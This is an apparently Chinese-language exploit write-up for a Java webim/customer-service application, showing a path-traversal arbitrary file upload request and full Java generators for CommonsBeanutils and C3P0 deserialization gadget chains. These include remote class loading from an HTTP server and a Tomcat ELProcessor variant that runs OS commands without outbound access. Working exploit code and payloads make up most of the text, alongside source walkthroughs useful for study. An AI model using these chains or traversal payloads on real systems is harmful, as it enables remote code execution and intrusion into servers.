1 任意文件上传
有的版本需要登录客服后台,有的版本需要登录admin后台
/admin/webim/save
if (agentheadimg != null && agentheadimg.getOriginalFilename().lastIndexOf(".") > 0) {
File headimgDir = new File(this.path, "headimg");
if (!headimgDir.exists())
headimgDir.mkdirs();
String fileName = "headimg/" + inviteData.getId() + agentheadimg.getOriginalFilename().substring(agentheadimg.getOriginalFilename().lastIndexOf("."));
FileCopyUtils.copy(agentheadimg.getBytes(), new File(this.path, fileName));
inviteData.setConsult_dialog_headimg(fileName);
}
其他图片命名都有UKTools.md5()处理唯独这个没有,取id也是从前端传的
POST /admin/webim/save.html HTTP/1.1
Host: test
Content-Type: multipart/form-data; boundary=---------------------------25578870823093959106339929313
Content-Length: 349
Cookie: SESSION=test
-----------------------------25578870823093959106339929313
Content-Disposition: form-data; name="agentheadimg"; filename="1.txt"
Content-Type: image/png
WQEQWE
-----------------------------25578870823093959106339929313
Content-Disposition: form-data; name="id"
../../../tmp/1.txt
-----------------------------25578870823093959106339929313--
2. CB链和C3P0链
找反序列化链的时候只看到了aspectjweaver,其实还有commons-beanutils-1.8.0.jar和c3p0-0.9.5.2.jar/mchange-commons-java-0.2.11.jar
CB链用的比较多,shiro和Click1时都说过,注意jar包版本对应即可,yso自带的可能用不了。
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils1 {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("D:\\Downloads\\workspace\\test\\bin\\test\\TemplatesImplcmd.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(out);
os.writeObject(queue);
String encodeString = java.util.Base64.getEncoder().encodeToString(out.toByteArray());
System.out.println(encodeString);
// ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
// objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
C3P0链却用的比较少,先看yso用法。
java -jar ysoserial.jar C3P0 http://127.0.0.1/:exp > 1.ser
这里冒号必须要加上,以远程恶意class加载的方式执行代码,所以需要公网http服务器放上exp.class
package test;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
public class C3P0 {
public static void main(String[] args) throws Exception {
Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]);
con.setAccessible(true);
PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]);
Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
conData.setAccessible(true);
conData.set(obj, new PoolSource("exp", "http://127.0.0.1/"));
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(obj);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(out);
os.writeObject(obj);
String encodeString = java.util.Base64.getEncoder().encodeToString(out.toByteArray());
System.out.println(encodeString);
// ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
// ois.readObject();
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference() throws NamingException {
return new Reference("exploit", this.className, this.url);
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
来跟一跟这个链,反序列化对象为obj,继承PoolBackedDataSourceBase,那么执行PoolBackedDataSourceBase.readObject()
private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException
{
short version = ois.readShort();
switch (version)
{
case VERSION:
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
}
o如果为IndirectlySerialized实例就执行getObject(),这里o为ReferenceIndirector$ReferenceSerialized,实现了IndirectlySerialized因此可以通过。执行ReferenceIndirector$ReferenceSerialized.getObject()
public Object getObject() throws ClassNotFoundException, IOException
{
try
{
Context initialContext;
if ( env == null )
initialContext = new InitialContext();
else
initialContext = new InitialContext( env );
Context nameContext = null;
if ( contextName != null )
nameContext = (Context) initialContext.lookup( contextName );
return ReferenceableUtils.referenceToObject( reference, name, nameContext, env );
}
然后看到了一个非常熟悉的jndi注入类InitialContext,不过这里由于env为空,所以利用不了,往后看ReferenceableUtils.referenceToObject()
public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
throws NamingException
{
try
{
String fClassName = ref.getFactoryClassName();
String fClassLocation = ref.getFactoryClassLocation();
ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();
ClassLoader cl;
if ( fClassLocation == null )
cl = defaultClassLoader;
else
{
URL u = new URL( fClassLocation );
cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
}
Class fClass = Class.forName( fClassName, true, cl );
ObjectFactory of = (ObjectFactory) fClass.newInstance();
return of.getObjectInstance( ref, name, nameCtx, env );
}
可以看到最后是用URLClassLoader远程加载恶意类,其中关键参数为ref也就是之前的reference,它为什么是http://127.0.0.1呢?以及之前的o为什么是ReferenceIndirector$ReferenceSerialized,这个过程在PoolBackedDataSourceBase.writeObject()中实现的。
private void writeObject( ObjectOutputStream oos ) throws IOException
{
oos.writeShort( VERSION );
try
{
//test serialize
SerializableUtils.toByteArray(connectionPoolDataSource);
oos.writeObject( connectionPoolDataSource );
}
catch (NotSerializableException nse)
{
com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
try
{
Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );
}
connectionPoolDataSource正是我们用反射的形式设置的属性,也就是
new PoolSource("exp", "http://127.0.0.1/")
跟进ReferenceIndirector.indirectForm()
public IndirectlySerialized indirectForm( Object orig ) throws Exception
{
Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}
至此,调用PoolSource.getReference(),返回了ReferenceSerialized对象,并将ref设置为new PoolSource("exp", "http://127.0.0.1/"))。
至此这条链已经清晰明了,但需要出网利用还是不爽, 这里有个使用tomcat8的javax.el.ELProcessor.eval()不出网执行命令的技巧,这个技巧经常应用在JDK高版本无法JNDI注入时的绕过。
需要tomcat-jasper-el-8.5.57.jar和tomcat-el-api-8.5.57.jar
先看一下EL表达式命令执行,很多java漏洞都有其身影。
package test;
import javax.el.ELProcessor;
public class Test {
public static void main(String[] args) throws Exception {
ELProcessor el = new ELProcessor();
el.eval("''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")");
}
}
写复杂一点,让其支持区分linux和windows
package test;
import javax.el.ELProcessor;
public class Test {
public static void main(String[] args) throws Exception {
ELProcessor el = new ELProcessor();
String cmd = "calc";
String elString = "''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\""
+ "var isWin =java.lang.System.getProperty('os.name').toLowerCase().contains('win');"
+ "if(isWin){new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','"+cmd+"']).start();}"
+ "else{new java.lang.ProcessBuilder['(java.lang.String[])'](['/bash/sh','-c','"+cmd+"']).start();}"
+ "\")";
System.out.println(elString);
el.eval(elString);
}
}
在C3P0链中的利用方式为
package test;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import org.apache.naming.ResourceRef;
public class C3P0tomcat {
public static void main(String[] args) throws Exception {
Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]);
con.setAccessible(true);
PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]);
Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
conData.setAccessible(true);
conData.set(obj, new PoolSource());
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(obj);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(out);
os.writeObject(obj);
String encodeString = java.util.Base64.getEncoder().encodeToString(out.toByteArray());
System.out.println(encodeString);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ois.readObject();
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
public PoolSource() {
}
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "calc";
String elString = "''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\""
+ "var isWin =java.lang.System.getProperty('os.name').toLowerCase().contains('win');"
+ "if(isWin){new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','"+cmd+"']).start();}"
+ "else{new java.lang.ProcessBuilder['(java.lang.String[])'](['/bash/sh','-c','"+cmd+"']).start();}"
+ "\")";
ref.add(new StringRefAddr("x", elString));
return ref;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
可以看到PoolSource.getReference()变了,返回了一个ResourceRef对象。我们找找反序列化处理Resource时的代码,ReferenceableUtils.referenceToObject()
public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
throws NamingException
{
try
{
String fClassName = ref.getFactoryClassName();
String fClassLocation = ref.getFactoryClassLocation();
ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();
ClassLoader cl;
if ( fClassLocation == null )
cl = defaultClassLoader;
else
{
URL u = new URL( fClassLocation );
cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
}
Class fClass = Class.forName( fClassName, true, cl );
ObjectFactory of = (ObjectFactory) fClass.newInstance();
return of.getObjectInstance( ref, name, nameCtx, env );
}
这里由于不再有classFactoryLocation,fClassLocation为空,不再能URLClassLoader。但会返回BeanFactory.getObjectInstance()。
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
}
if (beanClass == null) {
throw new NamingException
("Class not found: " + beanClassName);
}
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance();
/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;
判断了ResourceRef实例,获取beanClassName为"javax.el.ELProcessor"并在后续用newInstance()实例化。
经过一系列处理(略过分析)并在x=eval中取出eval,获取method为javax.el.ELProcessor.eval()
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (IllegalAccessException|
IllegalArgumentException|
InvocationTargetException ex) {
throw new NamingException
("Forced String setter " + method.getName() +
" threw exception for property " + propName);
}
continue;
}
最后method.invoke(bean, valueArray);执行恶意代码。·
目标容器用的是tomcat8.5.57,因此可结合前面的filter反序列化或者fastjson反序列化达到命令执行的目的。
参考链接
https://blog.diggid.top/2021/10/13/C3P0%E7%9A%84%E4%B8%8D%E5%87%BA%E7%BD%91%E6%96%B9%E5%BC%8F%E5%88%A9%E7%94%A8/